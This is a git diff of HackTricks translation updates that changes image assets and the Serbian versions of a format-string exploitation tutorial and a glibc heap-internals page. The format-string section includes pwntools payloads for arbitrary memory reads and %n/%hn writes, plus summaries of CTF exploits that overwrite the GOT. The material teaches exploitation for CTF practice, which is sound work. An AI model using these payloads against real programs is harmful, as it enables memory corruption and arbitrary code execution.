Translated ['binary-exploitation/format-strings/README.md', 'binary-expl
Before Width: | Height: | Size: 34 KiB After Width: | Height: | Size: 1.6 KiB |
Before Width: | Height: | Size: 1.6 KiB After Width: | Height: | Size: 32 KiB |
Before Width: | Height: | Size: 32 KiB After Width: | Height: | Size: 142 KiB |
Before Width: | Height: | Size: 142 KiB After Width: | Height: | Size: 108 KiB |
Before Width: | Height: | Size: 108 KiB After Width: | Height: | Size: 63 KiB |
Before Width: | Height: | Size: 63 KiB After Width: | Height: | Size: 36 KiB |
Before Width: | Height: | Size: 36 KiB After Width: | Height: | Size: 3.7 KiB |
Before Width: | Height: | Size: 3.7 KiB After Width: | Height: | Size: 12 KiB |
Before Width: | Height: | Size: 12 KiB After Width: | Height: | Size: 4.1 KiB |
Before Width: | Height: | Size: 4.1 KiB After Width: | Height: | Size: 131 KiB |
Before Width: | Height: | Size: 131 KiB After Width: | Height: | Size: 79 KiB |
BIN
.gitbook/assets/image (10) (1) (1) (1) (1).png
Normal file
After Width: | Height: | Size: 708 KiB |
Before Width: | Height: | Size: 708 KiB After Width: | Height: | Size: 287 KiB |
Before Width: | Height: | Size: 287 KiB After Width: | Height: | Size: 28 KiB |
Before Width: | Height: | Size: 28 KiB After Width: | Height: | Size: 216 KiB |
Before Width: | Height: | Size: 216 KiB After Width: | Height: | Size: 30 KiB |
Before Width: | Height: | Size: 27 KiB After Width: | Height: | Size: 33 KiB |
Before Width: | Height: | Size: 33 KiB After Width: | Height: | Size: 116 KiB |
Before Width: | Height: | Size: 116 KiB After Width: | Height: | Size: 418 KiB |
Before Width: | Height: | Size: 418 KiB After Width: | Height: | Size: 35 KiB |
Before Width: | Height: | Size: 35 KiB After Width: | Height: | Size: 3.7 KiB |
Before Width: | Height: | Size: 3.7 KiB After Width: | Height: | Size: 62 KiB |
Before Width: | Height: | Size: 62 KiB After Width: | Height: | Size: 59 KiB |
Before Width: | Height: | Size: 154 KiB After Width: | Height: | Size: 74 KiB |
Before Width: | Height: | Size: 74 KiB After Width: | Height: | Size: 271 KiB |
Before Width: | Height: | Size: 271 KiB After Width: | Height: | Size: 105 KiB |
Before Width: | Height: | Size: 105 KiB After Width: | Height: | Size: 13 KiB |
Before Width: | Height: | Size: 13 KiB After Width: | Height: | Size: 461 KiB |
Before Width: | Height: | Size: 461 KiB After Width: | Height: | Size: 36 KiB |
Before Width: | Height: | Size: 36 KiB After Width: | Height: | Size: 56 KiB |
Before Width: | Height: | Size: 7.8 KiB After Width: | Height: | Size: 254 KiB |
Before Width: | Height: | Size: 254 KiB After Width: | Height: | Size: 5.5 KiB |
Before Width: | Height: | Size: 5.5 KiB After Width: | Height: | Size: 254 KiB |
Before Width: | Height: | Size: 254 KiB After Width: | Height: | Size: 112 KiB |
Before Width: | Height: | Size: 112 KiB After Width: | Height: | Size: 22 KiB |
Before Width: | Height: | Size: 22 KiB After Width: | Height: | Size: 35 KiB |
Before Width: | Height: | Size: 35 KiB After Width: | Height: | Size: 39 KiB |
Before Width: | Height: | Size: 39 KiB After Width: | Height: | Size: 50 KiB |
Before Width: | Height: | Size: 3.2 MiB After Width: | Height: | Size: 10 KiB |
Before Width: | Height: | Size: 10 KiB After Width: | Height: | Size: 262 KiB |
Before Width: | Height: | Size: 262 KiB After Width: | Height: | Size: 19 KiB |
Before Width: | Height: | Size: 19 KiB After Width: | Height: | Size: 56 KiB |
Before Width: | Height: | Size: 56 KiB After Width: | Height: | Size: 58 KiB |
BIN
.gitbook/assets/image (6) (1) (1) (1) (1).png
Normal file
After Width: | Height: | Size: 407 KiB |
Before Width: | Height: | Size: 407 KiB After Width: | Height: | Size: 284 KiB |
Before Width: | Height: | Size: 284 KiB After Width: | Height: | Size: 40 KiB |
Before Width: | Height: | Size: 40 KiB After Width: | Height: | Size: 79 KiB |
Before Width: | Height: | Size: 79 KiB After Width: | Height: | Size: 138 KiB |
Before Width: | Height: | Size: 96 KiB After Width: | Height: | Size: 175 KiB |
Before Width: | Height: | Size: 175 KiB After Width: | Height: | Size: 453 KiB |
Before Width: | Height: | Size: 453 KiB After Width: | Height: | Size: 25 KiB |
Before Width: | Height: | Size: 25 KiB After Width: | Height: | Size: 160 KiB |
Before Width: | Height: | Size: 160 KiB After Width: | Height: | Size: 126 KiB |
BIN
.gitbook/assets/image (8) (1) (1) (1) (1).png
Normal file
After Width: | Height: | Size: 172 KiB |
Before Width: | Height: | Size: 172 KiB After Width: | Height: | Size: 210 KiB |
Before Width: | Height: | Size: 210 KiB After Width: | Height: | Size: 25 KiB |
Before Width: | Height: | Size: 25 KiB After Width: | Height: | Size: 3.1 KiB |
Before Width: | Height: | Size: 3.1 KiB After Width: | Height: | Size: 86 KiB |
BIN
.gitbook/assets/image (9) (1) (1) (1) (1).png
Normal file
After Width: | Height: | Size: 1 MiB |
Before Width: | Height: | Size: 1 MiB After Width: | Height: | Size: 594 KiB |
Before Width: | Height: | Size: 594 KiB After Width: | Height: | Size: 26 KiB |
Before Width: | Height: | Size: 26 KiB After Width: | Height: | Size: 3.5 KiB |
Before Width: | Height: | Size: 3.5 KiB After Width: | Height: | Size: 551 KiB |
Before Width: | Height: | Size: 30 KiB After Width: | Height: | Size: 82 KiB |
|
@ -1,8 +1,8 @@
|
||||||
# Format Strings
|
# Format Strings
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -15,20 +15,19 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
|
|
||||||
## Basic Information
|
## Basic Information
|
||||||
|
|
||||||
U C **`printf`** je funkcija koja se može koristiti za **štampanje** nekog stringa. **Prvi parametar** koji ova funkcija očekuje je **sirovi tekst sa formatima**. **Sledeći parametri** koji se očekuju su **vrednosti** za **zamenu** **formata** iz sirovog teksta.
|
U C **`printf`** je funkcija koja se može koristiti za **štampanje** nekog stringa. **Prvi parametar** koji ova funkcija očekuje je **sirovi tekst sa formatima**. **Sledeći parametri** koji se očekuju su **vrednosti** za **zamenu** **formatera** iz sirovog teksta.
|
||||||
|
|
||||||
Druge ranjive funkcije su **`sprintf()`** i **`fprintf()`**.
|
Druge ranjive funkcije su **`sprintf()`** i **`fprintf()`**.
|
||||||
|
|
||||||
Ranjivost se pojavljuje kada se **napadački tekst koristi kao prvi argument** ovoj funkciji. Napadač će moći da kreira **poseban unos koji zloupotrebljava** **printf format** string mogućnosti da pročita i **zapiše bilo koje podatke na bilo kojoj adresi (čitljivo/zapisivo)**. Na ovaj način će moći da **izvrši proizvoljan kod**.
|
Ranjivost se pojavljuje kada se **tekst napadača koristi kao prvi argument** ovoj funkciji. Napadač će moći da kreira **poseban unos koji zloupotrebljava** **printf format** string mogućnosti da pročita i **zapiše bilo koje podatke na bilo kojoj adresi (čitljivo/zapisivo)**. Na ovaj način će moći da **izvrši proizvoljan kod**.
|
||||||
|
|
||||||
#### Formatters:
|
#### Formatters:
|
||||||
```bash
|
```bash
|
||||||
|
@ -71,7 +70,7 @@ fclose(output_file);
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
### **Pristupanje Pokazivačima**
|
### **Pristupanje pokazivačima**
|
||||||
|
|
||||||
Format **`%<n>$x`**, gde je `n` broj, omogućava da se printf-u naznači da izabere n-ti parametar (sa steka). Dakle, ako želite da pročitate 4. parametar sa steka koristeći printf, mogli biste to uraditi:
|
Format **`%<n>$x`**, gde je `n` broj, omogućava da se printf-u naznači da izabere n-ti parametar (sa steka). Dakle, ako želite da pročitate 4. parametar sa steka koristeći printf, mogli biste to uraditi:
|
||||||
```c
|
```c
|
||||||
|
@ -83,9 +82,9 @@ printf("%x %x %x %x")
|
||||||
```c
|
```c
|
||||||
printf("%4$x")
|
printf("%4$x")
|
||||||
```
|
```
|
||||||
и директно прочитати четврту.
|
и читајте директно четврту.
|
||||||
|
|
||||||
Обратите пажњу да нападач контролише `printf` **параметар, што у основи значи да** ће његов унос бити у стеку када се позове `printf`, што значи да може написати специфичне адресе у меморији у стеку.
|
Обратите пажњу да нападач контролише `printf` **параметар, што у основи значи да** ће његов унос бити у стеку када се позове `printf`, што значи да би могао да запише специфичне адресе у меморији у стеку.
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
Нападач који контролише овај унос, моћи ће да **дода произвољну адресу у стек и натера `printf` да им приступи**. У следећем одељку биће објашњено како користити ово понашање.
|
Нападач који контролише овај унос, моћи ће да **дода произвољну адресу у стек и натера `printf` да им приступи**. У следећем одељку биће објашњено како користити ово понашање.
|
||||||
|
@ -93,7 +92,7 @@ printf("%4$x")
|
||||||
|
|
||||||
## **Произвољно Читање**
|
## **Произвољно Читање**
|
||||||
|
|
||||||
Могуће је користити форматор **`%n$s`** да натера **`printf`** да добије **адресу** која се налази на **n позицији**, следећи је и **одштампа као да је то стринг** (одштампа до 0x00). Дакле, ако је базна адреса бинарног фајла **`0x8048000`**, и знамо да кориснички унос почиње на 4. позицији у стеку, могуће је одштампати почетак бинарног фајла са:
|
Могуће је користити форматор **`%n$s`** да натера **`printf`** да добије **адресу** смештену у **n позицији**, следећи је и **одштампа као да је то стринг** (одштампа до 0x00). Дакле, ако је базна адреса бинарног фајла **`0x8048000`**, и знамо да кориснички унос почиње у 4. позицији у стеку, могуће је одштампати почетак бинарног фајла са:
|
||||||
```python
|
```python
|
||||||
from pwn import *
|
from pwn import *
|
||||||
|
|
||||||
|
@ -107,7 +106,7 @@ p.sendline(payload)
|
||||||
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
|
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
|
||||||
```
|
```
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
Napomena da ne možete staviti adresu 0x8048000 na početak ulaza jer će string biti prekinut na 0x00 na kraju te adrese.
|
Napomena da ne možete staviti adresu 0x8048000 na početak ulaza jer će string biti prekinut u 0x00 na kraju te adrese.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### Pronađi offset
|
### Pronađi offset
|
||||||
|
@ -151,19 +150,19 @@ p.close()
|
||||||
|
|
||||||
Arbitrarna čitanja mogu biti korisna za:
|
Arbitrarna čitanja mogu biti korisna za:
|
||||||
|
|
||||||
* **Ispis** **binarne** datoteke iz memorije
|
* **Dump** **binarne** datoteke iz memorije
|
||||||
* **Pristup specifičnim delovima memorije gde je smeštena** **osetljiva** **informacija** (kao što su kanari, ključevi za enkripciju ili prilagođene lozinke kao u ovom [**CTF izazovu**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
|
* **Pristup specifičnim delovima memorije gde je smeštena** **osetljiva** **informacija** (kao što su kanari, ključevi za enkripciju ili prilagođene lozinke kao u ovom [**CTF izazovu**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
|
||||||
|
|
||||||
## **Arbitrarno Pisanje**
|
## **Arbitrarno Pisanje**
|
||||||
|
|
||||||
Formatirac **`%<num>$n`** **piše** **broj napisanih bajtova** u **naznačenu adresu** u \<num> parametru na steku. Ako napadač može da piše onoliko karaktera koliko želi sa printf, moći će da napravi da **`%<num>$n`** piše proizvoljan broj na proizvoljnu adresu.
|
Formatirac **`%<num>$n`** **piše** **broj napisanih bajtova** u **naznačenu adresu** u \<num> parametru na steku. Ako napadač može da piše onoliko karaktera koliko želi sa printf, moći će da napravi **`%<num>$n`** da piše proizvoljan broj na proizvoljnu adresu.
|
||||||
|
|
||||||
Srećom, da bi se napisao broj 9999, nije potrebno dodavati 9999 "A" u ulaz, da bi se to postiglo moguće je koristiti formatirac **`%.<num-write>%<num>$n`** da bi se napisao broj **`<num-write>`** u **adresu na koju ukazuje `num` pozicija**.
|
Na sreću, da bi se napisao broj 9999, nije potrebno dodavati 9999 "A" u ulaz, da bi se to postiglo moguće je koristiti formatirac **`%.<num-write>%<num>$n`** da bi se napisao broj **`<num-write>`** u **adresu koju pokazuje `num` pozicija**.
|
||||||
```bash
|
```bash
|
||||||
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
|
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
|
||||||
AAAA.%500\$08x —> Param at offset 500
|
AAAA.%500\$08x —> Param at offset 500
|
||||||
```
|
```
|
||||||
Međutim, imajte na umu da se obično za pisanje adrese kao što je `0x08049724` (što je OGROMAN broj za pisanje odjednom), **koristi `$hn`** umesto `$n`. Ovo omogućava da **se napiše samo 2 Bajte**. Stoga se ova operacija vrši dva puta, jednom za najviših 2B adrese i drugi put za najniže.
|
Međutim, imajte na umu da se obično za pisanje adrese kao što je `0x08049724` (što je OGROMAN broj za pisanje odjednom), **koristi `$hn`** umesto `$n`. To omogućava da **se napiše samo 2 Bajte**. Stoga se ova operacija vrši dva puta, jednom za najviših 2B adrese i drugi put za najniže.
|
||||||
|
|
||||||
Zbog toga, ova ranjivost omogućava **pisanje bilo čega na bilo kojoj adresi (arbitrarno pisanje).**
|
Zbog toga, ova ranjivost omogućava **pisanje bilo čega na bilo kojoj adresi (arbitrarno pisanje).**
|
||||||
|
|
||||||
|
@ -224,7 +223,7 @@ p.interactive()
|
||||||
```
|
```
|
||||||
## Format Strings to BOF
|
## Format Strings to BOF
|
||||||
|
|
||||||
Moguće je zloupotrebiti akcije pisanja ranjivosti format stringa da se **piše u adrese steka** i iskoristi ranjivost tipa **buffer overflow**.
|
Moguće je zloupotrebiti akcije pisanja ranjivosti format string-a da se **piše u adrese steka** i iskoristi ranjivost tipa **buffer overflow**.
|
||||||
|
|
||||||
## Other Examples & References
|
## Other Examples & References
|
||||||
|
|
||||||
|
@ -232,27 +231,25 @@ Moguće je zloupotrebiti akcije pisanja ranjivosti format stringa da se **piše
|
||||||
* [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
|
* [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
|
||||||
* [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak)
|
* [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak)
|
||||||
* [https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html)
|
* [https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html)
|
||||||
* 32 bita, bez relro, bez kanarija, nx, bez pie, osnovna upotreba format stringova za curenje zastavice iz steka (nije potrebno menjati tok izvršenja)
|
* 32 bita, bez relro, bez kanarija, nx, bez pie, osnovna upotreba format string-a za curenje zastavice iz steka (nije potrebno menjati tok izvršenja)
|
||||||
* [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html)
|
* [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html)
|
||||||
* 32 bita, relro, bez kanarija, nx, bez pie, format string za prepisivanje adrese `fflush` sa funkcijom win (ret2win)
|
* 32 bita, relro, bez kanarija, nx, bez pie, format string za prepisivanje adrese `fflush` sa funkcijom win (ret2win)
|
||||||
* [https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html)
|
* [https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html)
|
||||||
* 32 bita, relro, bez kanarija, nx, bez pie, format string za pisanje adrese unutar main u `.fini_array` (tako da se tok ponovo vrati još jednom) i pisanje adrese u `system` u GOT tabeli koja pokazuje na `strlen`. Kada se tok vrati u main, `strlen` se izvršava sa korisničkim unosom i pokazuje na `system`, izvršiće prosleđene komande.
|
* 32 bita, relro, bez kanarija, nx, bez pie, format string za pisanje adrese unutar main u `.fini_array` (tako da se tok ponovo vrati još jednom) i pisanje adrese u `system` u GOT tabeli koja pokazuje na `strlen`. Kada se tok vrati u main, `strlen` se izvršava sa korisničkim unosom i pokazuje na `system`, izvršiće prosleđene komande.
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Ako ste zainteresovani za **hacking karijeru** i da hakujete ono što se ne može hakovati - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
|
Ako ste zainteresovani za **hacking karijeru** i da hakujete nehakovano - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<summary>Support HackTricks</summary>
|
Support HackTricks
|
||||||
|
|
||||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -10,7 +10,7 @@ Kao što je prikazano, to je odmah nakon što se binarni fajl učita u memoriju
|
||||||
|
|
||||||
### Basic Chunk Allocation
|
### Basic Chunk Allocation
|
||||||
|
|
||||||
Kada se zatraže neki podaci da budu smešteni u heap, određeni deo heap-a se alocira za njih. Ovaj prostor će pripadati bini i samo će zatraženi podaci + prostor za zaglavlja bina + minimalni offset veličine bina biti rezervisani za chunk. Cilj je da se rezerviše što manje memorije bez otežavanja pronalaženja gde se svaki chunk nalazi. Za ovo se koristi informacija o metapodacima chunk-a da bi se znalo gde se svaki korišćeni/slobodni chunk nalazi.
|
Kada se zatraže neki podaci da budu smešteni u heap, određeni deo heap-a se alocira za njih. Ovaj prostor će pripadati bini i samo će zatraženi podaci + prostor bin zaglavlja + minimalni bin veličinski offset biti rezervisani za chunk. Cilj je da se rezerviše što manje memorije bez otežavanja pronalaženja gde se svaki chunk nalazi. Za ovo se koristi informacija o metapodacima chunk-a da bi se znalo gde se svaki korišćeni/slobodni chunk nalazi.
|
||||||
|
|
||||||
Postoje različiti načini za rezervaciju prostora, uglavnom zavisno od korišćenog bina, ali opšta metodologija je sledeća:
|
Postoje različiti načini za rezervaciju prostora, uglavnom zavisno od korišćenog bina, ali opšta metodologija je sledeća:
|
||||||
|
|
||||||
|
@ -18,14 +18,14 @@ Postoje različiti načini za rezervaciju prostora, uglavnom zavisno od korišć
|
||||||
* Ako u listi chunk-ova postoji neki dostupan dovoljno veliki da ispuni zahtev, biće korišćen.
|
* Ako u listi chunk-ova postoji neki dostupan dovoljno veliki da ispuni zahtev, biće korišćen.
|
||||||
* Ovo može čak značiti da će deo dostupnog chunk-a biti korišćen za ovaj zahtev, a ostatak će biti dodat u listu chunk-ova.
|
* Ovo može čak značiti da će deo dostupnog chunk-a biti korišćen za ovaj zahtev, a ostatak će biti dodat u listu chunk-ova.
|
||||||
* Ako u listi nema dostupnog chunk-a, ali još uvek ima prostora u alociranoj heap memoriji, menadžer heap-a kreira novi chunk.
|
* Ako u listi nema dostupnog chunk-a, ali još uvek ima prostora u alociranoj heap memoriji, menadžer heap-a kreira novi chunk.
|
||||||
* Ako nema dovoljno prostora u heap-u da se alocira novi chunk, menadžer heap-a traži od kernela da proširi memoriju alociranu za heap i zatim koristi ovu memoriju za generisanje novog chunk-a.
|
* Ako nema dovoljno heap prostora za alokaciju novog chunk-a, menadžer heap-a traži od kernela da proširi memoriju alociranu za heap i zatim koristi ovu memoriju za generisanje novog chunk-a.
|
||||||
* Ako sve ne uspe, `malloc` vraća null.
|
* Ako sve ne uspe, `malloc` vraća null.
|
||||||
|
|
||||||
Napomena: ako zatražena **memorija pređe prag**, **`mmap`** će biti korišćen za mapiranje zatražene memorije.
|
Napomena: ako zatražena **memorija pređe prag**, **`mmap`** će biti korišćen za mapiranje zatražene memorije.
|
||||||
|
|
||||||
## Arenas
|
## Arenas
|
||||||
|
|
||||||
U **multithreaded** aplikacijama, menadžer heap-a mora sprečiti **race conditions** koje bi mogle dovesti do rušenja. U početku, to je rađeno korišćenjem **globalnog mutex-a** kako bi se osiguralo da samo jedna nit može pristupiti heap-u u isto vreme, ali to je izazvalo **probleme sa performansama** zbog uskog grla izazvanog mutex-om.
|
U **multithreaded** aplikacijama, menadžer heap-a mora sprečiti **race conditions** koje bi mogle dovesti do rušenja. U početku, ovo je rađeno korišćenjem **globalnog mutex-a** kako bi se osiguralo da samo jedna nit može pristupiti heap-u u isto vreme, ali to je izazvalo **probleme sa performansama** zbog uskog grla izazvanog mutex-om.
|
||||||
|
|
||||||
Da bi se to rešilo, ptmalloc2 alokator heap-a je uveo "arene", gde **svaka arena** deluje kao **odvojeni heap** sa svojim **vlastitim** podacima **strukture** i **mutex-om**, omogućavajući više niti da obavljaju operacije na heap-u bez ometanja jedna druge, sve dok koriste različite arene.
|
Da bi se to rešilo, ptmalloc2 alokator heap-a je uveo "arene", gde **svaka arena** deluje kao **odvojeni heap** sa svojim **vlastitim** podacima **strukture** i **mutex-om**, omogućavajući više niti da obavljaju operacije na heap-u bez ometanja jedna druge, sve dok koriste različite arene.
|
||||||
|
|
||||||
|
@ -42,7 +42,7 @@ Subheaps služe kao rezerve memorije za sekundarne arene u multithreaded aplikac
|
||||||
* Subheaps, koje koriste sekundarne arene, kreiraju se putem `mmap`, sistemskog poziva koji mapira određeni memorijski region.
|
* Subheaps, koje koriste sekundarne arene, kreiraju se putem `mmap`, sistemskog poziva koji mapira određeni memorijski region.
|
||||||
2. **Rezervacija Memorije sa `mmap`**:
|
2. **Rezervacija Memorije sa `mmap`**:
|
||||||
* Kada menadžer heap-a kreira subheap, rezerviše veliki blok memorije putem `mmap`. Ova rezervacija ne alocira memoriju odmah; jednostavno označava region koji drugi sistemski procesi ili alokacije ne bi trebali koristiti.
|
* Kada menadžer heap-a kreira subheap, rezerviše veliki blok memorije putem `mmap`. Ova rezervacija ne alocira memoriju odmah; jednostavno označava region koji drugi sistemski procesi ili alokacije ne bi trebali koristiti.
|
||||||
* Podrazumevana veličina rezervisana za subheap je 1 MB za 32-bitne procese i 64 MB za 64-bitne procese.
|
* Podrazumevana veličina rezervisane subheap memorije je 1 MB za 32-bitne procese i 64 MB za 64-bitne procese.
|
||||||
3. **Postepeno Širenje sa `mprotect`**:
|
3. **Postepeno Širenje sa `mprotect`**:
|
||||||
* Rezervisana memorijska oblast je inicijalno označena kao `PROT_NONE`, što ukazuje da kernel još ne mora da alocira fizičku memoriju za ovaj prostor.
|
* Rezervisana memorijska oblast je inicijalno označena kao `PROT_NONE`, što ukazuje da kernel još ne mora da alocira fizičku memoriju za ovaj prostor.
|
||||||
* Da bi "rastegao" subheap, menadžer heap-a koristi `mprotect` da promeni dozvole stranica sa `PROT_NONE` na `PROT_READ | PROT_WRITE`, podstičući kernel da alocira fizičku memoriju za prethodno rezervisane adrese. Ovaj postepeni pristup omogućava subheap-u da se širi po potrebi.
|
* Da bi "rastegao" subheap, menadžer heap-a koristi `mprotect` da promeni dozvole stranica sa `PROT_NONE` na `PROT_READ | PROT_WRITE`, podstičući kernel da alocira fizičku memoriju za prethodno rezervisane adrese. Ovaj postepeni pristup omogućava subheap-u da se širi po potrebi.
|
||||||
|
@ -86,10 +86,10 @@ Postoje neke zanimljive stvari koje treba primetiti iz ove strukture (vidi C kod
|
||||||
#define set_noncontiguous(M) ((M)->flags |= NONCONTIGUOUS_BIT)
|
#define set_noncontiguous(M) ((M)->flags |= NONCONTIGUOUS_BIT)
|
||||||
#define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT)
|
#define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT)
|
||||||
```
|
```
|
||||||
* `mchunkptr bins[NBINS * 2 - 2];` sadrži **pokazivače** na **prvi i poslednji chunk** malih, velikih i nesortiranih **bins** (minus 2 je zato što se indeks 0 ne koristi)
|
* `mchunkptr bins[NBINS * 2 - 2];` sadrži **pokazivače** na **prvi i poslednji chunk** malih, velikih i nesortiranih **bins** (minus 2 je zbog toga što se indeks 0 ne koristi)
|
||||||
* Stoga, **prvi chunk** ovih bins će imati **povratni pokazivač na ovu strukturu** i **poslednji chunk** ovih bins će imati **napredni pokazivač** na ovu strukturu. Što u suštini znači da ako možete l**eak-ovati ove adrese u glavnoj areni** imaćete pokazivač na strukturu u **libc**.
|
* Stoga, **prvi chunk** ovih bins će imati **povratni pokazivač na ovu strukturu** i **poslednji chunk** ovih bins će imati **napredni pokazivač** na ovu strukturu. Što u suštini znači da ako možete l**eak-ovati ove adrese u glavnoj areni** imaćete pokazivač na strukturu u **libc**.
|
||||||
* Strukture `struct malloc_state *next;` i `struct malloc_state *next_free;` su povezane liste arena
|
* Strukture `struct malloc_state *next;` i `struct malloc_state *next_free;` su povezane liste arena
|
||||||
* `top` chunk je poslednji "chunk", koji je u suštini **sva preostala memorija heap-a**. Kada je top chunk "prazan", heap je potpuno iskorišćen i treba da zatraži više prostora.
|
* `top` chunk je poslednji "chunk", koji je u suštini **sva preostala memorija heap-a**. Kada je top chunk "prazan", heap je potpuno iskorišćen i potrebno je zatražiti više prostora.
|
||||||
* `last reminder` chunk dolazi iz slučajeva kada tačno veličine chunk nije dostupna i stoga je veći chunk podeljen, a pokazivač preostalog dela se ovde postavlja.
|
* `last reminder` chunk dolazi iz slučajeva kada tačno veličine chunk nije dostupna i stoga je veći chunk podeljen, a pokazivač preostalog dela se ovde postavlja.
|
||||||
